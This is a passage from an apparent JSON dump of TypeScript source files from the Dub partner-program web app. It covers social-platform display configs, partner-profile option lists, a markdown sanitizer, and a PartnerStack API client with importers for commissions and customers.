`${nFormatter(Number(twitter.subscribers))} followers`\n            : null,\n          twitter?.posts && twitter?.verifiedAt\n            ? `${nFormatter(Number(twitter.posts))} tweets`\n            : null,\n        ].filter(Boolean),\n      };\n    },\n  },\n  {\n    label: \"LinkedIn\",\n    icon: LinkedIn,\n    data: (platforms) => {\n      const linkedin = platforms.find((p) => p.type === \"linkedin\");\n\n      return {\n        value: linkedin ? linkedin.identifier : null,\n        verified: !!linkedin?.verifiedAt,\n        href: linkedin?.identifier\n          ? `https://linkedin.com/in/${linkedin.identifier}`\n          : null,\n      };\n    },\n  },\n  {\n    label: \"Instagram\",\n    icon: Instagram,\n    data: (platforms) => {\n      const instagram = platforms.find((p) => p.type === \"instagram\");\n\n      return {\n        value: instagram ? `@${instagram.identifier}` : null,\n        verified: !!instagram?.verifiedAt,\n        href: instagram?.identifier\n          ? `https://instagram.com/${instagram.identifier}`\n          : null,\n        info: [\n          instagram?.subscribers && instagram?.verifiedAt\n            ? `${nFormatter(Number(instagram.subscribers))} followers`\n            : null,\n          instagram?.posts && instagram?.verifiedAt\n            ? `${nFormatter(Number(instagram.posts))} posts`\n            : null,\n        ].filter(Boolean),\n      };\n    },\n  },\n  {\n    label: \"Tiktok\",\n    icon: TikTok,\n    data: (platforms) => {\n      const tiktok = platforms.find((p) => p.type === \"tiktok\");\n\n      return {\n        value: tiktok ? `@${tiktok.identifier}` : null,\n        verified: !!tiktok?.verifiedAt,\n        href: tiktok?.identifier\n          ? `https://tiktok.com/@${tiktok.identifier}`\n          : null,\n        info: [\n          tiktok?.subscribers && tiktok?.verifiedAt\n            ? `${nFormatter(Number(tiktok.subscribers))} followers`\n            : null,\n          tiktok?.posts && tiktok?.verifiedAt\n            ? `${nFormatter(Number(tiktok.posts))} posts`\n            : null,\n        ].filter(Boolean),\n      };\n    },\n  },\n];\n"
  },
  {
    "path": "apps/web/lib/partners/partner-profile.ts",
    "content": "import {\n  IndustryInterest,\n  MonthlyTraffic,\n  PreferredEarningStructure,\n  SalesChannel,\n} from \"@dub/prisma/client\";\nimport type { Icon } from \"@dub/ui/icons\";\nimport {\n  Apple,\n  BookOpen,\n  BracketsCurly,\n  Brush,\n  ChartArea2,\n  ChartLine,\n  CircleHalfDottedClock,\n  Cloud,\n  CreditCard,\n  FileContent,\n  Flask,\n  GamingConsole,\n  Headset,\n  Heart,\n  MarketingTarget,\n  MobilePhone,\n  MoneyBill,\n  Msgs,\n  PaperPlane,\n  ShieldKeyhole,\n  Sparkle3,\n  Trophy,\n  TV,\n  UsersSettings,\n} from \"@dub/ui/icons\";\n\nexport const industryInterests: {\n  id: IndustryInterest;\n  icon: Icon;\n  label: string;\n}[] = [\n  {\n    id: IndustryInterest.AI,\n    label: \"AI\",\n    icon: Sparkle3,\n  },\n  {\n    id: IndustryInterest.SaaS,\n    label: \"SaaS\",\n    icon: Cloud,\n  },\n  {\n    id: IndustryInterest.Sales,\n    label: \"Sales\",\n    icon: ChartArea2,\n  },\n  {\n    id: IndustryInterest.DevTool,\n    label: \"Dev Tools\",\n    icon: BracketsCurly,\n  },\n  {\n    id: IndustryInterest.Marketing,\n    label: \"Marketing\",\n    icon: MarketingTarget,\n  },\n  {\n    id: IndustryInterest.Ecommerce,\n    label: \"Ecommerce\",\n    icon: CreditCard,\n  },\n  {\n    id: IndustryInterest.Creative_And_Design,\n    label: \"Creative & Design\",\n    icon: Brush,\n  },\n  {\n    id: IndustryInterest.Productivity_Software,\n    label: \"Productivity Software\",\n    icon: CircleHalfDottedClock,\n  },\n  {\n    id: IndustryInterest.Gaming,\n    label: \"Gaming\",\n    icon: GamingConsole,\n  },\n  {\n    id: IndustryInterest.Finance,\n    label: \"Finance\",\n    icon: MoneyBill,\n  },\n  {\n    id: IndustryInterest.Customer_Service_And_Support,\n    label: \"Customer Service & Support\",\n    icon: Headset,\n  },\n  {\n    id: IndustryInterest.Content_Management,\n    label: \"Content Management\",\n    icon: FileContent,\n  },\n  {\n    id: IndustryInterest.Analytics_And_Data,\n    label: \"Analytics & Data\",\n    icon: ChartLine,\n  },\n  {\n    id: IndustryInterest.Security,\n    label: \"Security\",\n    icon: ShieldKeyhole,\n  },\n  {\n    id: IndustryInterest.Social_Media,\n    label: \"Social Media\",\n    icon: Msgs,\n  },\n  {\n    id: IndustryInterest.Education_And_Learning,\n    label: \"Education & Learning\",\n    icon: BookOpen,\n  },\n  {\n    id: IndustryInterest.Entertainment_And_Media,\n    label: \"Entertainment & Media\",\n    icon: TV,\n  },\n  {\n    id: IndustryInterest.Consumer_Tech,\n    label: \"Consumer Tech\",\n    icon: MobilePhone,\n  },\n  {\n    id: IndustryInterest.Sports,\n    label: \"Sports\",\n    icon: Trophy,\n  },\n  {\n    id: IndustryInterest.Health_And_Fitness,\n    label: \"Health & Fitness\",\n    icon: Heart,\n  },\n  {\n    id: IndustryInterest.Food_And_Beverage,\n    label: \"Food & Beverage\",\n    icon: Apple,\n  },\n  {\n    id: IndustryInterest.Travel_And_Lifestyle,\n    label: \"Travel & Lifestyle\",\n    icon: PaperPlane,\n  },\n  {\n    id: IndustryInterest.Human_Resources,\n    label: \"Human Resources\",\n    icon: UsersSettings,\n  },\n  {\n    id: IndustryInterest.Science_And_Engineering,\n    label: \"Science & Engineering\",\n    icon: Flask,\n  },\n];\n\nexport const industryInterestsMap: Partial<\n  Record<IndustryInterest, { icon: Icon; label: string }>\n> = Object.fromEntries(\n  industryInterests.map((interest) => [interest.id, interest]),\n);\n\nexport const monthlyTrafficAmounts: { id: MonthlyTraffic; label: string }[] = [\n  {\n    id: MonthlyTraffic.ZeroToOneThousand,\n    label: \"0 - 1,000\",\n  },\n  {\n    id: MonthlyTraffic.OneThousandToTenThousand,\n    label: \"1,000 - 10,000\",\n  },\n  {\n    id: MonthlyTraffic.TenThousandToFiftyThousand,\n    label: \"10,000 - 50,000\",\n  },\n  {\n    id: MonthlyTraffic.FiftyThousandToOneHundredThousand,\n    label: \"50,000 - 100,000\",\n  },\n  {\n    id: MonthlyTraffic.OneHundredThousandPlus,\n    label: \"100,000+\",\n  },\n];\n\nexport const monthlyTrafficAmountsMap: Partial<\n  Record<MonthlyTraffic, { label: string }>\n> = Object.fromEntries(\n  monthlyTrafficAmounts.map((amount) => [amount.id, amount]),\n);\n\nexport const preferredEarningStructures: {\n  id: PreferredEarningStructure;\n  label: string;\n}[] = [\n  {\n    id: PreferredEarningStructure.Revenue_Share,\n    label: \"Rev-share (% of sale)\",\n  },\n  {\n    id: PreferredEarningStructure.Per_Lead,\n    label: \"Per lead (CPL)\",\n  },\n  {\n    id: PreferredEarningStructure.Per_Sale,\n    label: \"Per sale (CPS)\",\n  },\n  {\n    id: PreferredEarningStructure.Per_Click,\n    label: \"Per click (CPC)\",\n  },\n  {\n    id: PreferredEarningStructure.One_Time_Payment,\n    label: \"One-time payment\",\n  },\n];\n\nexport const preferredEarningStructuresMap: Partial<\n  Record<PreferredEarningStructure, { label: string }>\n> = Object.fromEntries(\n  preferredEarningStructures.map((structure) => [structure.id, structure]),\n);\n\nexport const salesChannels: { id: SalesChannel; label: string }[] = [\n  {\n    id: SalesChannel.Blogs,\n    label: \"Blogs\",\n  },\n  {\n    id: SalesChannel.Coupons,\n    label: \"Coupons\",\n  },\n  {\n    id: SalesChannel.Direct_Reselling,\n    label: \"Direct reselling\",\n  },\n  {\n    id: SalesChannel.Newsletters,\n    label: \"Newsletters\",\n  },\n  {\n    id: SalesChannel.Social_Media,\n    label: \"Social media\",\n  },\n  {\n    id: SalesChannel.Events,\n    label: \"Events\",\n  },\n  {\n    id: SalesChannel.Company_Referrals,\n    label: \"Company referrals\",\n  },\n];\n\nexport const salesChannelsMap: Partial<\n  Record<SalesChannel, { label: string }>\n> = Object.fromEntries(salesChannels.map((channel) => [channel.id, channel]));\n"
  },
  {
    "path": "apps/web/lib/partners/query-link-structure-help-text.tsx",
    "content": "import { CopyText } from \"@dub/ui\";\nimport { getDomainWithoutWWW } from \"@dub/utils\";\nimport { PartnerProfileLinkProps } from \"../types\";\n\nexport const QueryLinkStructureHelpText = ({\n  link,\n}: {\n  link?: Pick<PartnerProfileLinkProps, \"key\" | \"url\" | \"shortLink\">;\n}) => {\n  if (!link) {\n    return null;\n  }\n\n  const appendValue = `?via=${link.key}`;\n  return (\n    <p className=\"mt-1.5 text-xs text-neutral-500\">\n      Link to any page on{\" \"}\n      <a\n        href={link.url}\n        target=\"_blank\"\n        rel=\"noopener noreferrer\"\n        className=\"cursor-alias text-neutral-700 decoration-dotted underline-offset-2 hover:underline\"\n      >\n        {getDomainWithoutWWW(link.url)}\n      </a>{\" \"}\n      by adding{\" \"}\n      <CopyText\n        value={appendValue}\n        className=\"font-mono text-xs text-neutral-700\"\n      >\n        {appendValue}\n      </CopyText>{\" \"}\n      to the URL.\n    </p>\n  );\n};\n"
  },
  {
    "path": "apps/web/lib/partners/sanitize-markdown.ts",
    "content": "\"server-only\";\n\n/**\n * Sanitizes and validates markdown content for safe use in email templates.\n *\n * This function:\n * - Trims whitespace\n * - Validates the content is valid text (not binary)\n * - Checks for suspicious patterns that could cause DoS issues\n * - Normalizes line endings\n *\n * @param markdown - The markdown string to sanitize\n * @returns The sanitized markdown string, or null if invalid/binary content detected\n */\nexport function sanitizeMarkdown(\n  markdown: string | null | undefined,\n): string | null {\n  if (!markdown || typeof markdown !== \"string\") {\n    return null;\n  }\n\n  // Trim whitespace\n  let sanitized = markdown.trim();\n\n  // Return null if empty after trimming\n  if (!sanitized) {\n    return null;\n  }\n\n  // Check for binary content - markdown should be valid UTF-8 text\n  // Reject if there are null bytes (indicates binary content)\n  if (sanitized.includes(\"\\0\")) {\n    return null;\n  }\n\n  // Check for suspicious patterns that could cause DoS or rendering issues\n  // Reject content with excessively long lines to avoid malformed markdown\n  const maxLineLength = 1000;\n  const hasExcessivelyLongLine = sanitized\n    .split(\"\\n\")\n    .some((line) => line.length > maxLineLength);\n\n  if (hasExcessivelyLongLine) {\n    return null;\n  }\n\n  // Normalize line endings\n  sanitized = sanitized.replace(/\\r\\n/g, \"\\n\").replace(/\\r/g, \"\\n\");\n\n  return sanitized;\n}\n"
  },
  {
    "path": "apps/web/lib/partners/sort-rewards-by-event-order.ts",
    "content": "import { EventType, Reward } from \"@dub/prisma/client\";\n\nconst DEFAULT_REWARD_EVENT_ORDER = [\n  EventType.click,\n  EventType.lead,\n  EventType.sale,\n] as const;\n\nexport function sortRewardsByEventOrder<T extends Pick<Reward, \"event\">>(\n  rewards: T[],\n  customEventOrder?: (typeof DEFAULT_REWARD_EVENT_ORDER)[number][],\n): T[] {\n  const finalEventOrder = (customEventOrder ??\n    DEFAULT_REWARD_EVENT_ORDER) as EventType[];\n\n  const eventOrderMap = new Map(\n    finalEventOrder.map((event, index) => [event, index]),\n  );\n\n  const sortedRewards = [...rewards];\n\n  sortedRewards.sort((a, b) => {\n    const aIndex = eventOrderMap.get(a.event) ?? Number.MAX_SAFE_INTEGER;\n    const bIndex = eventOrderMap.get(b.event) ?? Number.MAX_SAFE_INTEGER;\n\n    return aIndex - bIndex;\n  });\n\n  return sortedRewards;\n}\n"
  },
  {
    "path": "apps/web/lib/partners/throw-if-no-partnerid-tenantid.ts",
    "content": "import * as z from \"zod/v4\";\nimport { DubApiError } from \"../api/errors\";\nimport { partnerIdTenantIdSchema } from \"../zod/schemas/partners\";\n\nexport function throwIfNoPartnerIdOrTenantId(\n  payload: z.infer<typeof partnerIdTenantIdSchema>,\n) {\n  if (!payload.partnerId && !payload.tenantId) {\n    throw new DubApiError({\n      code: \"bad_request\",\n      message: \"Either `partnerId` or `tenantId` must be provided.\",\n    });\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/partnerstack/api.ts",
    "content": "import {\n  partnerStackCommission,\n  partnerStackCustomer,\n  partnerStackGroup,\n  partnerStackLink,\n  partnerStackPartner,\n} from \"./schemas\";\nimport {\n  PartnerStackCommission,\n  PartnerStackCustomer,\n  PartnerStackGroup,\n  PartnerStackLink,\n  PartnerStackListResponse,\n  PartnerStackPartner,\n} from \"./types\";\n\nconst PAGE_LIMIT = 100;\n\nexport class PartnerStackApi {\n  private readonly baseUrl = \"https://api.partnerstack.com/api/v2\";\n  private readonly publicKey: string;\n  private readonly secretKey: string;\n\n  constructor({\n    publicKey,\n    secretKey,\n  }: {\n    publicKey: string;\n    secretKey: string;\n  }) {\n    this.publicKey = publicKey;\n    this.secretKey = secretKey;\n  }\n\n  private async fetch<T>(path: string): Promise<T> {\n    const token = Buffer.from(`${this.publicKey}:${this.secretKey}`).toString(\n      \"base64\",\n    );\n\n    const response = await fetch(`${this.baseUrl}${path}`, {\n      headers: {\n        Authorization: `Basic ${token}`,\n      },\n    });\n\n    if (!response.ok) {\n      const error = await response.json();\n\n      console.error(\"PartnerStack API Error:\", error);\n\n      throw new Error(error.message || \"Unknown error from PartnerStack API.\");\n    }\n\n    return await response.json();\n  }\n\n  async testConnection() {\n    try {\n      await this.fetch(\"/customers?limit=1\");\n      return true;\n    } catch (error) {\n      throw new Error(\"Invalid PartnerStack API token.\");\n    }\n  }\n\n  async listGroups() {\n    const {\n      data: { items },\n    } =\n      await this.fetch<PartnerStackListResponse<PartnerStackGroup>>(\n        `/groups?limit=100`,\n      );\n\n    return partnerStackGroup.array().parse(items);\n  }\n\n  async listPartners({ startingAfter }: { startingAfter?: string }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"approved_status\", \"approved\");\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    if (startingAfter) {\n      searchParams.append(\"starting_after\", startingAfter);\n    }\n\n    const {\n      data: { items },\n    } = await this.fetch<PartnerStackListResponse<PartnerStackPartner>>(\n      `/partnerships?${searchParams.toString()}`,\n    );\n\n    return partnerStackPartner.array().parse(items);\n  }\n\n  async listLinks({ identifier }: { identifier: string }) {\n    const {\n      data: { items },\n    } = await this.fetch<PartnerStackListResponse<PartnerStackLink>>(\n      `/links/partnership/${identifier}`,\n    );\n\n    return partnerStackLink.array().parse(items);\n  }\n\n  async listCustomers({ startingAfter }: { startingAfter?: string }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    if (startingAfter) {\n      searchParams.append(\"starting_after\", startingAfter);\n    }\n\n    const {\n      data: { items },\n    } = await this.fetch<PartnerStackListResponse<PartnerStackCustomer>>(\n      `/customers?${searchParams.toString()}`,\n    );\n\n    return partnerStackCustomer.array().parse(items);\n  }\n\n  async listCommissions({\n    startingAfter,\n    status,\n  }: {\n    startingAfter?: string;\n    status?: PartnerStackCommission[\"reward_status\"];\n  }) {\n    const searchParams = new URLSearchParams();\n    searchParams.append(\"limit\", PAGE_LIMIT.toString());\n\n    if (startingAfter) {\n      searchParams.append(\"starting_after\", startingAfter);\n    }\n\n    if (status) {\n      searchParams.append(\"status\", status);\n    }\n\n    const {\n      data: { items },\n    } = await this.fetch<PartnerStackListResponse<PartnerStackCommission>>(\n      `/rewards?${searchParams.toString()}`,\n    );\n\n    return partnerStackCommission.array().parse(items);\n  }\n}\n"
  },
  {
    "path": "apps/web/lib/partnerstack/import-commissions.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { CommissionStatus, Customer, Link, Program } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { convertCurrencyWithFxRates } from \"../analytics/convert-currency\";\nimport { isFirstConversion } from \"../analytics/is-first-conversion\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { syncTotalCommissions } from \"../api/partners/sync-total-commissions\";\nimport { recordSaleWithTimestamp } from \"../tinybird\";\nimport { getLeadEvents } from \"../tinybird/get-lead-events\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { LeadEventTB } from \"../types\";\nimport { redis } from \"../upstash\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { PartnerStackApi } from \"./api\";\nimport { MAX_BATCHES, partnerStackImporter } from \"./importer\";\nimport { PartnerStackCommission, PartnerStackImportPayload } from \"./types\";\n\nconst toDubStatus: Record<\n  PartnerStackCommission[\"reward_status\"],\n  CommissionStatus\n> = {\n  hold: \"fraud\",\n  pending: \"pending\",\n  approved: \"processed\",\n  declined: \"canceled\",\n  paid: \"paid\",\n  scheduled: \"pending\",\n};\n\nexport async function importCommissions(payload: PartnerStackImportPayload) {\n  const { importId, programId, startingAfter } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n  });\n\n  const { publicKey, secretKey } = await partnerStackImporter.getCredentials(\n    program.workspaceId,\n  );\n\n  const partnerStackApi = new PartnerStackApi({\n    publicKey,\n    secretKey,\n  });\n\n  const fxRates = await redis.hgetall<Record<string, string>>(\"fxRates:usd\");\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentStartingAfter = startingAfter;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    const commissions = await partnerStackApi.listCommissions({\n      startingAfter: currentStartingAfter,\n    });\n\n    if (commissions.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    const customersData = await prisma.customer.findMany({\n      where: {\n        projectId: program.workspaceId,\n        OR: [\n          {\n            email: {\n              in: commissions\n                .map((commission) => commission.customer?.email)\n                .filter(\n                  (email): email is string =>\n                    email !== null && email !== undefined,\n                ),\n            },\n          },\n          {\n            externalId: {\n              in: commissions\n                .map((commission) => commission.customer?.external_key)\n                .filter(\n                  (externalKey): externalKey is string =>\n                    externalKey !== null && externalKey !== undefined,\n                ),\n            },\n          },\n        ],\n      },\n      include: {\n        link: true,\n      },\n      orderBy: {\n        createdAt: \"asc\",\n      },\n    });\n\n    const customerLeadEvents = await getLeadEvents({\n      customerIds: customersData.map((customer) => customer.id),\n    }).then((res) => res.data);\n\n    await Promise.allSettled(\n      commissions.map((commission) =>\n        createCommission({\n          program,\n          commission,\n          fxRates,\n          importId,\n          customersData,\n          customerLeadEvents,\n        }),\n      ),\n    );\n\n    await new Promise((resolve) => setTimeout(resolve, 1000));\n\n    currentStartingAfter = commissions[commissions.length - 1].key;\n    processedBatches++;\n  }\n\n  // Import scheduled commissions\n  if (!hasMore) {\n    const commissions = await partnerStackApi.listCommissions({\n      status: \"scheduled\",\n    });\n\n    if (commissions.length > 0) {\n      const customersData = await prisma.customer.findMany({\n        where: {\n          projectId: program.workspaceId,\n          OR: [\n            {\n              email: {\n                in: commissions\n                  .map((commission) => commission.customer?.email)\n                  .filter(\n                    (email): email is string =>\n                      email !== null && email !== undefined,\n                  ),\n              },\n            },\n            {\n              externalId: {\n                in: commissions\n                  .map((commission) => commission.customer?.external_key)\n                  .filter(\n                    (externalKey): externalKey is string =>\n                      externalKey !== null && externalKey !== undefined,\n                  ),\n              },\n            },\n          ],\n        },\n        include: {\n          link: true,\n        },\n        orderBy: {\n          createdAt: \"asc\",\n        },\n      });\n\n      const customerLeadEvents = await getLeadEvents({\n        customerIds: customersData.map((customer) => customer.id),\n      }).then((res) => res.data);\n\n      await Promise.allSettled(\n        commissions.map((commission) =>\n          createCommission({\n            program,\n            commission,\n            fxRates,\n            importId,\n            customersData,\n            customerLeadEvents,\n          }),\n        ),\n      );\n\n      await new Promise((resolve) => setTimeout(resolve, 1000));\n    }\n  }\n\n  if (!hasMore) {\n    await partnerStackImporter.deleteCredentials(program.workspaceId);\n  }\n\n  await partnerStackImporter.queue({\n    ...payload,\n    startingAfter: hasMore ? currentStartingAfter : undefined,\n    action: hasMore ? \"import-commissions\" : \"update-stripe-customers\",\n  });\n}\n\nasync function createCommission({\n  program,\n  commission,\n  fxRates,\n  importId,\n  customersData,\n  customerLeadEvents,\n}: {\n  program: Program;\n  commission: PartnerStackCommission;\n  fxRates: Record<string, string> | null;\n  importId: string;\n  customersData: (Customer & { link: Link | null })[];\n  customerLeadEvents: LeadEventTB[];\n}) {\n  const commonImportLogInputs = {\n    workspace_id: program.workspaceId,\n    import_id: importId,\n    source: \"partnerstack\",\n    entity: \"commission\",\n    entity_id: commission.key,\n  } as const;\n\n  const commissionFound = await prisma.commission.findUnique({\n    where: {\n      invoiceId_programId: {\n        invoiceId: commission.key, // This is not the actual invoice ID, but we use this to deduplicate the commissions\n        programId: program.id,\n      },\n    },\n  });\n\n  if (commissionFound) {\n    console.log(`Commission ${commission.key} already exists, skipping...`);\n    return;\n  }\n\n  // Earnings\n  let earnings = commission.amount;\n  const earningsCurrency = commission.currency;\n\n  if (earningsCurrency.toUpperCase() !== \"USD\" && fxRates) {\n    const { amount: convertedAmount } = convertCurrencyWithFxRates({\n      currency: earningsCurrency,\n      amount: earnings,\n      fxRates,\n    });\n\n    earnings = convertedAmount;\n  }\n\n  // Handle manual commissions (No customer and transaction)\n  if (!commission.customer && !commission.transaction) {\n    const programEnrollment = await prisma.programEnrollment.findFirst({\n      where: {\n        programId: program.id,\n        partner: {\n          email: commission.partnership.email,\n        },\n      },\n      select: {\n        partnerId: true,\n      },\n    });\n\n    // This should never happen, but just in case\n    if (!programEnrollment) {\n      await logImportError({\n        ...commonImportLogInputs,\n        code: \"PARTNER_NOT_FOUND\",\n        message: `Program enrollment for partner ${commission.partnership.email} not found in Dub.`,\n      });\n\n      return;\n    }\n\n    await prisma.commission.create({\n      data: {\n        id: createId({ prefix: \"cm_\" }),\n        type: \"custom\",\n        programId: program.id,\n        partnerId: programEnrollment.partnerId,\n        amount: 0,\n        earnings,\n        quantity: 1,\n        currency: \"usd\",\n        status: toDubStatus[commission.reward_status],\n        invoiceId: commission.key,\n        createdAt: new Date(commission.created_at),\n      },\n    });\n\n    await syncTotalCommissions({\n      partnerId: programEnrollment.partnerId,\n      programId: program.id,\n    });\n\n    return;\n  }\n\n  // Handle the sale commissions (transactions and customers are required)\n  if (!commission.transaction) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"TRANSACTION_NOT_FOUND\",\n      message: `Commission ${commission.key} has no transaction.`,\n    });\n\n    return;\n  }\n\n  if (!commission.customer) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CUSTOMER_NOT_FOUND\",\n      message: `Commission ${commission.key} has no customer.`,\n    });\n\n    return;\n  }\n\n  const customer = customersData.find(\n    ({ email, externalId }) =>\n      email === commission.customer?.email ||\n      externalId === commission.customer?.external_key,\n  );\n\n  if (!customer) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CUSTOMER_NOT_FOUND\",\n      message: `No customer found for customer email ${commission.customer.email}.`,\n    });\n\n    return;\n  }\n\n  // Sale amount\n  let amount = commission.transaction.amount;\n  const saleCurrency = commission.transaction.currency;\n\n  if (saleCurrency.toUpperCase() !== \"USD\" && fxRates) {\n    const { amount: convertedAmount } = convertCurrencyWithFxRates({\n      currency: saleCurrency,\n      amount,\n      fxRates,\n    });\n\n    amount = convertedAmount;\n  }\n\n  // here, we also check for commissions that have already been recorded on Dub\n  // e.g. during the transition period\n  // since we don't have the Stripe invoiceId from PartnerStack, we use the referral's customer ID\n  // and check for commissions that were created with the same amount and within a +-1 hour window\n  const chargedAt = new Date(commission.created_at);\n  const trackedCommission = await prisma.commission.findFirst({\n    where: {\n      programId: program.id,\n      createdAt: {\n        gte: new Date(chargedAt.getTime() - 60 * 60 * 1000), // 1 hour before\n        lte: new Date(chargedAt.getTime() + 60 * 60 * 1000), // 1 hour after\n      },\n      customerId: customer.id,\n      type: \"sale\",\n      amount: commission.transaction.amount,\n    },\n  });\n\n  if (trackedCommission) {\n    console.log(\n      `Commission ${trackedCommission.id} was already recorded on Dub, skipping...`,\n    );\n    return;\n  }\n\n  if (!customer.linkId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LINK_NOT_FOUND\",\n      message: `No link found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customer.clickId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"CLICK_NOT_FOUND\",\n      message: `No click found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  if (!customer.link?.partnerId) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"PARTNER_NOT_FOUND\",\n      message: `No partner found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  const leadEvent = customerLeadEvents.find(\n    (event) => event.customer_id === customer.id,\n  );\n\n  if (!leadEvent) {\n    await logImportError({\n      ...commonImportLogInputs,\n      code: \"LEAD_NOT_FOUND\",\n      message: `No lead event found for customer ${customer.id}.`,\n    });\n\n    return;\n  }\n\n  const clickData = clickEventSchemaTB\n    .omit({ timestamp: true })\n    .parse(leadEvent);\n\n  const eventId = nanoid(16);\n\n  await Promise.all([\n    prisma.commission.create({\n      data: {\n        id: createId({ prefix: \"cm_\" }),\n        eventId,\n        type: \"sale\",\n        programId: program.id,\n        partnerId: customer.link.partnerId,\n        linkId: customer.linkId,\n        customerId: customer.id,\n        amount,\n        earnings,\n        // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n        currency: \"usd\",\n        quantity: 1,\n        status: toDubStatus[commission.reward_status],\n        invoiceId: commission.key, // this is not the actual invoice ID, but we use this to deduplicate the sales\n        createdAt: new Date(commission.created_at),\n      },\n    }),\n\n    recordSaleWithTimestamp({\n      ...clickData,\n      event_id: eventId,\n      event_name: \"Invoice paid\",\n      amount,\n      customer_id: customer.id,\n      payment_processor: \"stripe\",\n      // TODO: allow custom \"defaultCurrency\" on workspace table in the future\n      currency: \"usd\",\n      metadata: JSON.stringify(commission),\n      timestamp: new Date(commission.created_at).toISOString(),\n    }),\n\n    // update link stats\n    prisma.link.update({\n      where: {\n        id: customer.linkId,\n      },\n      data: {\n        ...(isFirstConversion({\n          customer,\n          linkId: customer.linkId,\n        }) && {\n          conversions: {\n            increment: 1,\n          },\n          lastConversionAt: updateLinkStatsForImporter({\n            currentTimestamp: customer.link.lastConversionAt,\n            newTimestamp: new Date(commission.created_at),\n          }),\n        }),\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: amount,\n        },\n      },\n    }),\n\n    syncPartnerLinksStats({\n      partnerId: customer.link.partnerId,\n      programId: program.id,\n      eventType: \"sale\",\n    }),\n\n    // update customer stats\n    prisma.customer.update({\n      where: {\n        id: customer.id,\n      },\n      data: {\n        sales: {\n          increment: 1,\n        },\n        saleAmount: {\n          increment: amount,\n        },\n        firstSaleAt: customer.firstSaleAt ? undefined : new Date(),\n      },\n    }),\n  ]);\n\n  await syncTotalCommissions({\n    partnerId: customer.link.partnerId,\n    programId: program.id,\n  });\n}\n"
  },
  {
    "path": "apps/web/lib/partnerstack/import-customers.ts",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { Customer, Link, Project } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { createId } from \"../api/create-id\";\nimport { updateLinkStatsForImporter } from \"../api/links/update-link-stats-for-importer\";\nimport { syncPartnerLinksStats } from \"../api/partners/sync-partner-links-stats\";\nimport { recordClick, recordLeadWithTimestamp } from \"../tinybird\";\nimport { logImportError } from \"../tinybird/log-import-error\";\nimport { redis } from \"../upstash\";\nimport { clickEventSchemaTB } from \"../zod/schemas/clicks\";\nimport { PartnerStackApi } from \"./api\";\nimport {\n  MAX_BATCHES,\n  PARTNER_IDS_KEY_PREFIX,\n  partnerStackImporter,\n} from \"./importer\";\nimport { PartnerStackCustomer, PartnerStackImportPayload } from \"./types\";\n\nexport async function importCustomers(payload: PartnerStackImportPayload) {\n  const { importId, programId, startingAfter } = payload;\n\n  const program = await prisma.program.findUniqueOrThrow({\n    where: {\n      id: programId,\n    },\n    select: {\n      workspace: {\n        select: {\n          id: true,\n          stripeConnectId: true,\n        },\n      },\n    },\n  });\n\n  const { publicKey, secretKey } = await partnerStackImporter.getCredentials(\n    program.workspace.id,\n  );\n\n  const partnerStackApi = new PartnerStackApi({\n    publicKey,\n    secretKey,\n  });\n\n  let hasMore = true;\n  let processedBatches = 0;\n  let currentStartingAfter = startingAfter;\n\n  while (hasMore && processedBatches < MAX_BATCHES) {\n    let customers = await partnerStackApi.listCustomers({\n      startingAfter: currentStartingAfter,\n    });\n\n    customers = customers.filter(({ test }) => !test);\n\n    if (customers.length === 0) {\n      hasMore = false;\n      break;\n    }\n\n    // Identify the Partner on Dub from PS partnership_key\n    const partnerKeys = [\n      ...new Set(customers.map(({ partnership_key }) => partnership_key)),\n    ];\n\n    let partnerKeysToId =\n      (await redis.hmget<Record<string, string | null>>(\n        `${PARTNER_IDS_KEY_PREFIX}:${programId}`,\n        ...partnerKeys,\n      )) || {};\n\n    partnerKeysToId = Object.fromEntries(\n      Object.entries(partnerKeysToId).filter(([_, id]) => id !== null),\n    );\n\n    const partnerIds = Object.values(partnerKeysToId).filter(\n      (id): id is string => id !== null,\n    );\n\n    if (partnerIds.length > 0) {\n      const programEnrollments = await prisma.programEnrollment.findMany({\n        where: {\n          partnerId: {\n            in: partnerIds,\n          },\n          programId,\n        },\n        select: {\n          partnerId: true,\n          links: {\n            select: {\n              id: true,\n              key: true,\n              domain: true,\n              url: true,\n              partnerId: true,\n              programId: true,\n              lastLeadAt: true,\n            },\n          },\n        },\n      });\n\n      const partnerIdToLinks = new Map<\n        string,\n        (typeof programEnrollments)[number][\"links\"]\n      >();\n\n      for (const { partnerId, links } of programEnrollments) {\n        const existing = partnerIdToLinks.get(partnerId) ?? [];\n        partnerIdToLinks.set(partnerId, [...existing, ...links]);\n      }\n\n      const partnerKeysToLatestLeadAt = customers.reduce(\n        (acc, customer) => {\n          if (!customer.partnership_key) {\n            return acc;\n          }\n          const existing = acc[customer.partnership_key] ?? new Date(0);\n          if (new Date(customer.created_at) > existing) {\n            acc[customer.partnership_key] = new Date(customer.created_at);\n          